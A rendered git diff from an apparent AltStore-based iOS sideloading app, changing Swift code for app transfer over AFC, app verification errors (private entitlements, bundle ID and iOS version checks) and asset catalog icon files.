let app = AnyApp(name: resignedApp.name, bundleIdentifier: self.context.bundleIdentifier, url: resignedApp.fileURL)
|
let app = AnyApp(name: resignedApp.name, bundleIdentifier: self.context.bundleIdentifier, url: resignedApp.fileURL)
|
||||||
@@ -50,16 +49,15 @@ final class SendAppOperation: ResultOperation<()>
|
|||||||
do {
|
do {
|
||||||
let bytes = Data(data).toRustByteSlice()
|
let bytes = Data(data).toRustByteSlice()
|
||||||
try yeet_app_afc(app.bundleIdentifier, bytes.forRust())
|
try yeet_app_afc(app.bundleIdentifier, bytes.forRust())
|
||||||
self.progress.completedUnitCount += 1
|
|
||||||
self.finish(.success(()))
|
|
||||||
} catch {
|
} catch {
|
||||||
self.finish(.failure(MinimuxerError.RwAfc))
|
return self.finish(.failure(error))
|
||||||
self.progress.completedUnitCount += 1
|
|
||||||
self.finish(.success(()))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
self.progress.completedUnitCount += 1
|
||||||
|
self.finish(.success(()))
|
||||||
} else {
|
} else {
|
||||||
print("IPA doesn't exist????")
|
print("IPA doesn't exist????")
|
||||||
self.finish(.failure(OperationError(.appNotFound(name: resignedApp.name))))
|
self.finish(.failure(ALTServerError(.underlyingError)))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,87 +8,48 @@
|
|||||||
|
|
||||||
import Foundation
|
import Foundation
|
||||||
|
|
||||||
import AltStoreCore
|
|
||||||
import AltSign
|
import AltSign
|
||||||
import Roxas
|
import Roxas
|
||||||
|
|
||||||
extension VerificationError
|
enum VerificationError: ALTLocalizedError
|
||||||
{
|
{
|
||||||
enum Code: Int, ALTErrorCode, CaseIterable {
|
case privateEntitlements(ALTApplication, entitlements: [String: Any])
|
||||||
typealias Error = VerificationError
|
case mismatchedBundleIdentifiers(ALTApplication, sourceBundleID: String)
|
||||||
|
case iOSVersionNotSupported(ALTApplication)
|
||||||
|
|
||||||
case privateEntitlements
|
var app: ALTApplication {
|
||||||
case mismatchedBundleIdentifiers
|
switch self
|
||||||
case iOSVersionNotSupported
|
{
|
||||||
}
|
case .privateEntitlements(let app, _): return app
|
||||||
|
case .mismatchedBundleIdentifiers(let app, _): return app
|
||||||
static func privateEntitlements(_ entitlements: [String: Any], app: ALTApplication) -> VerificationError {
|
case .iOSVersionNotSupported(let app): return app
|
||||||
VerificationError(code: .privateEntitlements, app: app, entitlements: entitlements)
|
|
||||||
}
|
|
||||||
|
|
||||||
static func mismatchedBundleIdentifiers(sourceBundleID: String, app: ALTApplication) -> VerificationError {
|
|
||||||
VerificationError(code: .mismatchedBundleIdentifiers, app: app, sourceBundleID: sourceBundleID)
|
|
||||||
}
|
|
||||||
|
|
||||||
static func iOSVersionNotSupported(app: AppProtocol, osVersion: OperatingSystemVersion = ProcessInfo.processInfo.operatingSystemVersion, requiredOSVersion: OperatingSystemVersion?) -> VerificationError {
|
|
||||||
VerificationError(code: .iOSVersionNotSupported, app: app)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
struct VerificationError: ALTLocalizedError {
|
|
||||||
let code: Code
|
|
||||||
|
|
||||||
var errorTitle: String?
|
|
||||||
var errorFailure: String?
|
|
||||||
|
|
||||||
@Managed var app: AppProtocol?
|
|
||||||
var entitlements: [String: Any]?
|
|
||||||
var sourceBundleID: String?
|
|
||||||
var deviceOSVersion: OperatingSystemVersion?
|
|
||||||
var requiredOSVersion: OperatingSystemVersion?
|
|
||||||
|
|
||||||
var errorDescription: String? {
|
|
||||||
switch self.code {
|
|
||||||
case .iOSVersionNotSupported:
|
|
||||||
guard let deviceOSVersion else { return nil }
|
|
||||||
|
|
||||||
var failureReason = self.errorFailureReason
|
|
||||||
if self.app == nil {
|
|
||||||
let firstLetter = failureReason.prefix(1).lowercased()
|
|
||||||
failureReason = firstLetter + failureReason.dropFirst()
|
|
||||||
}
|
|
||||||
|
|
||||||
return String(formatted: "This device is running iOS %@, but %@", deviceOSVersion.stringValue, failureReason)
|
|
||||||
default: return nil
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
var errorFailureReason: String {
|
var failure: String? {
|
||||||
switch self.code
|
return String(format: NSLocalizedString("“%@” could not be installed.", comment: ""), app.name)
|
||||||
|
}
|
||||||
|
|
||||||
|
var failureReason: String? {
|
||||||
|
switch self
|
||||||
{
|
{
|
||||||
case .privateEntitlements:
|
case .privateEntitlements(let app, _):
|
||||||
let appName = self.$app.name ?? NSLocalizedString("The app", comment: "")
|
return String(format: NSLocalizedString("“%@” requires private permissions.", comment: ""), app.name)
|
||||||
return String(formatted: "“%@” requires private permissions.", appName)
|
|
||||||
|
|
||||||
case .mismatchedBundleIdentifiers:
|
case .mismatchedBundleIdentifiers(let app, let sourceBundleID):
|
||||||
if let appBundleID = self.$app.bundleIdentifier, let bundleID = self.sourceBundleID {
|
return String(format: NSLocalizedString("The bundle ID “%@” does not match the one specified by the source (“%@”).", comment: ""), app.bundleIdentifier, sourceBundleID)
|
||||||
return String(formatted: "The bundle ID '%@' does not match the one specified by the source ('%@').", appBundleID, bundleID)
|
|
||||||
} else {
|
case .iOSVersionNotSupported(let app):
|
||||||
return NSLocalizedString("The bundle ID does not match the one specified by the source.", comment: "")
|
let name = app.name
|
||||||
|
|
||||||
|
var version = "iOS \(app.minimumiOSVersion.majorVersion).\(app.minimumiOSVersion.minorVersion)"
|
||||||
|
if app.minimumiOSVersion.patchVersion > 0
|
||||||
|
{
|
||||||
|
version += ".\(app.minimumiOSVersion.patchVersion)"
|
||||||
}
|
}
|
||||||
|
|
||||||
case .iOSVersionNotSupported:
|
let localizedDescription = String(format: NSLocalizedString("%@ requires %@.", comment: ""), name, version)
|
||||||
let appName = self.$app.name ?? NSLocalizedString("The app", comment: "")
|
return localizedDescription
|
||||||
let deviceOSVersion = self.deviceOSVersion ?? ProcessInfo.processInfo.operatingSystemVersion
|
|
||||||
|
|
||||||
guard let requiredOSVersion else {
|
|
||||||
return String(formatted: "%@ does not support iOS %@.", appName, deviceOSVersion.stringValue)
|
|
||||||
}
|
|
||||||
if deviceOSVersion > requiredOSVersion {
|
|
||||||
return String(formatted: "%@ requires iOS %@ or earlier", appName, requiredOSVersion.stringValue)
|
|
||||||
} else {
|
|
||||||
return String(formatted: "%@ requires iOS %@ or later", appName, requiredOSVersion.stringValue)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -116,21 +77,15 @@ final class VerifyAppOperation: ResultOperation<Void>
|
|||||||
{
|
{
|
||||||
throw error
|
throw error
|
||||||
}
|
}
|
||||||
let appName = self.context.app?.name ?? NSLocalizedString("The app", comment: "")
|
|
||||||
self.localizedFailure = String(format: NSLocalizedString("%@ could not be installed.", comment: ""), appName)
|
|
||||||
|
|
||||||
guard let app = self.context.app else {
|
guard let app = self.context.app else { throw OperationError.invalidParameters }
|
||||||
throw OperationError.invalidParameters("VerifyAppOperation.main: self.context.app is nil")
|
|
||||||
}
|
|
||||||
|
|
||||||
if !["ny.litritt.ignited", "com.litritt.ignited"].contains(where: { $0 == app.bundleIdentifier }) {
|
guard app.bundleIdentifier == self.context.bundleIdentifier else {
|
||||||
guard app.bundleIdentifier == self.context.bundleIdentifier else {
|
throw VerificationError.mismatchedBundleIdentifiers(app, sourceBundleID: self.context.bundleIdentifier)
|
||||||
throw VerificationError.mismatchedBundleIdentifiers(sourceBundleID: self.context.bundleIdentifier, app: app)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
guard ProcessInfo.processInfo.isOperatingSystemAtLeast(app.minimumiOSVersion) else {
|
guard ProcessInfo.processInfo.isOperatingSystemAtLeast(app.minimumiOSVersion) else {
|
||||||
throw VerificationError.iOSVersionNotSupported(app: app, requiredOSVersion: app.minimumiOSVersion)
|
throw VerificationError.iOSVersionNotSupported(app)
|
||||||
}
|
}
|
||||||
|
|
||||||
if #available(iOS 13.5, *)
|
if #available(iOS 13.5, *)
|
||||||
@@ -161,7 +116,7 @@ final class VerifyAppOperation: ResultOperation<Void>
|
|||||||
let entitlements = try PropertyListSerialization.propertyList(from: entitlementsPlist.data(using: .utf8)!, options: [], format: nil) as! [String: Any]
|
let entitlements = try PropertyListSerialization.propertyList(from: entitlementsPlist.data(using: .utf8)!, options: [], format: nil) as! [String: Any]
|
||||||
|
|
||||||
app.hasPrivateEntitlements = true
|
app.hasPrivateEntitlements = true
|
||||||
let error = VerificationError.privateEntitlements(entitlements, app: app)
|
let error = VerificationError.privateEntitlements(app, entitlements: entitlements)
|
||||||
self.process(error) { (result) in
|
self.process(error) { (result) in
|
||||||
self.finish(result.mapError { $0 as Error })
|
self.finish(result.mapError { $0 as Error })
|
||||||
}
|
}
|
||||||
@@ -190,10 +145,9 @@ private extension VerifyAppOperation
|
|||||||
guard let presentingViewController = self.context.presentingViewController else { return completion(.failure(error)) }
|
guard let presentingViewController = self.context.presentingViewController else { return completion(.failure(error)) }
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async {
|
||||||
switch error.code
|
switch error
|
||||||
{
|
{
|
||||||
case .privateEntitlements:
|
case .privateEntitlements(_, let entitlements):
|
||||||
guard let entitlements = error.entitlements else { return completion(.failure(error)) }
|
|
||||||
let permissions = entitlements.keys.sorted().joined(separator: "\n")
|
let permissions = entitlements.keys.sorted().joined(separator: "\n")
|
||||||
let message = String(format: NSLocalizedString("""
|
let message = String(format: NSLocalizedString("""
|
||||||
You must allow access to these private permissions before continuing:
|
You must allow access to these private permissions before continuing:
|
||||||
@@ -212,7 +166,8 @@ private extension VerifyAppOperation
|
|||||||
}))
|
}))
|
||||||
presentingViewController.present(alertController, animated: true, completion: nil)
|
presentingViewController.present(alertController, animated: true, completion: nil)
|
||||||
|
|
||||||
case .mismatchedBundleIdentifiers, .iOSVersionNotSupported: return completion(.failure(error))
|
case .mismatchedBundleIdentifiers: return completion(.failure(error))
|
||||||
|
case .iOSVersionNotSupported: return completion(.failure(error))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
|
Before Width: | Height: | Size: 8.4 KiB |
|
Before Width: | Height: | Size: 846 KiB |
|
Before Width: | Height: | Size: 10 KiB |
|
Before Width: | Height: | Size: 11 KiB |
|
Before Width: | Height: | Size: 15 KiB |
|
Before Width: | Height: | Size: 16 KiB |
|
Before Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 22 KiB |
|
Before Width: | Height: | Size: 997 B |
|
Before Width: | Height: | Size: 1.6 KiB |
|
Before Width: | Height: | Size: 2.4 KiB |
|
Before Width: | Height: | Size: 3.2 KiB |
|
Before Width: | Height: | Size: 3.8 KiB |
|
Before Width: | Height: | Size: 3.9 KiB |
|
Before Width: | Height: | Size: 4.1 KiB |
|
Before Width: | Height: | Size: 5.2 KiB |
|
Before Width: | Height: | Size: 5.6 KiB |
|
Before Width: | Height: | Size: 6.1 KiB |
|
Before Width: | Height: | Size: 6.8 KiB |
@@ -0,0 +1,20 @@
|
|||||||
|
{
|
||||||
|
"colors" : [
|
||||||
|
{
|
||||||
|
"color" : {
|
||||||
|
"color-space" : "srgb",
|
||||||
|
"components" : {
|
||||||
|
"alpha" : "1.000",
|
||||||
|
"blue" : "0xFA",
|
||||||
|
"green" : "0x05",
|
||||||
|
"red" : "0xA4"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"idiom" : "universal"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"info" : {
|
||||||
|
"author" : "xcode",
|
||||||
|
"version" : 1
|
||||||
|
}
|
||||||
|
}
|
||||||
12
AltStore/Resources/Assets.xcassets/Honeydew-image.imageset/Contents.json
vendored
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"images" : [
|
||||||
|
{
|
||||||
|
"filename" : "icon-152.png",
|
||||||
|
"idiom" : "universal"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"info" : {
|
||||||
|
"author" : "xcode",
|
||||||
|
"version" : 1
|
||||||
|
}
|
||||||
|
}
|
||||||
BIN
AltStore/Resources/Assets.xcassets/Honeydew-image.imageset/icon-152.png
vendored
Normal file
|
After Width: | Height: | Size: 17 KiB |
@@ -1,151 +1,109 @@
|
|||||||
{
|
{
|
||||||
"images" : [
|
"images" : [
|
||||||
{
|
{
|
||||||
"filename" : "40.png",
|
"filename" : "icon-40.png",
|
||||||
"idiom" : "iphone",
|
"idiom" : "iphone",
|
||||||
"scale" : "2x",
|
"scale" : "2x",
|
||||||
"size" : "20x20"
|
"size" : "20x20"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "60.png",
|
"filename" : "icon-60.png",
|
||||||
"idiom" : "iphone",
|
"idiom" : "iphone",
|
||||||
"scale" : "3x",
|
"scale" : "3x",
|
||||||
"size" : "20x20"
|
"size" : "20x20"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "29.png",
|
"filename" : "icon-58.png",
|
||||||
"idiom" : "iphone",
|
|
||||||
"scale" : "1x",
|
|
||||||
"size" : "29x29"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"filename" : "58.png",
|
|
||||||
"idiom" : "iphone",
|
"idiom" : "iphone",
|
||||||
"scale" : "2x",
|
"scale" : "2x",
|
||||||
"size" : "29x29"
|
"size" : "29x29"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "87.png",
|
"filename" : "icon-87.png",
|
||||||
"idiom" : "iphone",
|
"idiom" : "iphone",
|
||||||
"scale" : "3x",
|
"scale" : "3x",
|
||||||
"size" : "29x29"
|
"size" : "29x29"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "80.png",
|
"filename" : "icon-80.png",
|
||||||
"idiom" : "iphone",
|
"idiom" : "iphone",
|
||||||
"scale" : "2x",
|
"scale" : "2x",
|
||||||
"size" : "40x40"
|
"size" : "40x40"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "120.png",
|
"filename" : "icon-120.png",
|
||||||
"idiom" : "iphone",
|
"idiom" : "iphone",
|
||||||
"scale" : "3x",
|
"scale" : "3x",
|
||||||
"size" : "40x40"
|
"size" : "40x40"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "57.png",
|
"filename" : "icon-120.png",
|
||||||
"idiom" : "iphone",
|
|
||||||
"scale" : "1x",
|
|
||||||
"size" : "57x57"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"filename" : "114.png",
|
|
||||||
"idiom" : "iphone",
|
|
||||||
"scale" : "2x",
|
|
||||||
"size" : "57x57"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"filename" : "120.png",
|
|
||||||
"idiom" : "iphone",
|
"idiom" : "iphone",
|
||||||
"scale" : "2x",
|
"scale" : "2x",
|
||||||
"size" : "60x60"
|
"size" : "60x60"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "180.png",
|
"filename" : "icon-180.png",
|
||||||
"idiom" : "iphone",
|
"idiom" : "iphone",
|
||||||
"scale" : "3x",
|
"scale" : "3x",
|
||||||
"size" : "60x60"
|
"size" : "60x60"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "20.png",
|
"filename" : "icon-20.png",
|
||||||
"idiom" : "ipad",
|
"idiom" : "ipad",
|
||||||
"scale" : "1x",
|
"scale" : "1x",
|
||||||
"size" : "20x20"
|
"size" : "20x20"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "40.png",
|
"filename" : "icon-40.png",
|
||||||
"idiom" : "ipad",
|
"idiom" : "ipad",
|
||||||
"scale" : "2x",
|
"scale" : "2x",
|
||||||
"size" : "20x20"
|
"size" : "20x20"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "29.png",
|
"filename" : "icon-29.png",
|
||||||
"idiom" : "ipad",
|
"idiom" : "ipad",
|
||||||
"scale" : "1x",
|
"scale" : "1x",
|
||||||
"size" : "29x29"
|
"size" : "29x29"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "58.png",
|
"filename" : "icon-58.png",
|
||||||
"idiom" : "ipad",
|
"idiom" : "ipad",
|
||||||
"scale" : "2x",
|
"scale" : "2x",
|
||||||
"size" : "29x29"
|
"size" : "29x29"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "40.png",
|
"filename" : "icon-40.png",
|
||||||
"idiom" : "ipad",
|
"idiom" : "ipad",
|
||||||
"scale" : "1x",
|
"scale" : "1x",
|
||||||
"size" : "40x40"
|
"size" : "40x40"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "80.png",
|
"filename" : "icon-80.png",
|
||||||
"idiom" : "ipad",
|
"idiom" : "ipad",
|
||||||
"scale" : "2x",
|
"scale" : "2x",
|
||||||
"size" : "40x40"
|
"size" : "40x40"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "50.png",
|
"filename" : "icon-76.png",
|
||||||
"idiom" : "ipad",
|
|
||||||
"scale" : "1x",
|
|
||||||
"size" : "50x50"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"filename" : "100.png",
|
|
||||||
"idiom" : "ipad",
|
|
||||||
"scale" : "2x",
|
|
||||||
"size" : "50x50"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"filename" : "72.png",
|
|
||||||
"idiom" : "ipad",
|
|
||||||
"scale" : "1x",
|
|
||||||
"size" : "72x72"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"filename" : "144.png",
|
|
||||||
"idiom" : "ipad",
|
|
||||||
"scale" : "2x",
|
|
||||||
"size" : "72x72"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"filename" : "76.png",
|
|
||||||
"idiom" : "ipad",
|
"idiom" : "ipad",
|
||||||
"scale" : "1x",
|
"scale" : "1x",
|
||||||
"size" : "76x76"
|
"size" : "76x76"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "152.png",
|
"filename" : "icon-152.png",
|
||||||
"idiom" : "ipad",
|
"idiom" : "ipad",
|
||||||
"scale" : "2x",
|
"scale" : "2x",
|
||||||
"size" : "76x76"
|
"size" : "76x76"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "167.png",
|
"filename" : "icon-167.png",
|
||||||
"idiom" : "ipad",
|
"idiom" : "ipad",
|
||||||
"scale" : "2x",
|
"scale" : "2x",
|
||||||
"size" : "83.5x83.5"
|
"size" : "83.5x83.5"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"filename" : "1024.png",
|
"filename" : "icon-1024.png",
|
||||||
"idiom" : "ios-marketing",
|
"idiom" : "ios-marketing",
|
||||||
"scale" : "1x",
|
"scale" : "1x",
|
||||||
"size" : "1024x1024"
|
"size" : "1024x1024"
|
||||||
|
After Width: | Height: | Size: 373 KiB |
|
After Width: | Height: | Size: 12 KiB |
|
After Width: | Height: | Size: 17 KiB |
|
After Width: | Height: | Size: 19 KiB |
|
After Width: | Height: | Size: 22 KiB |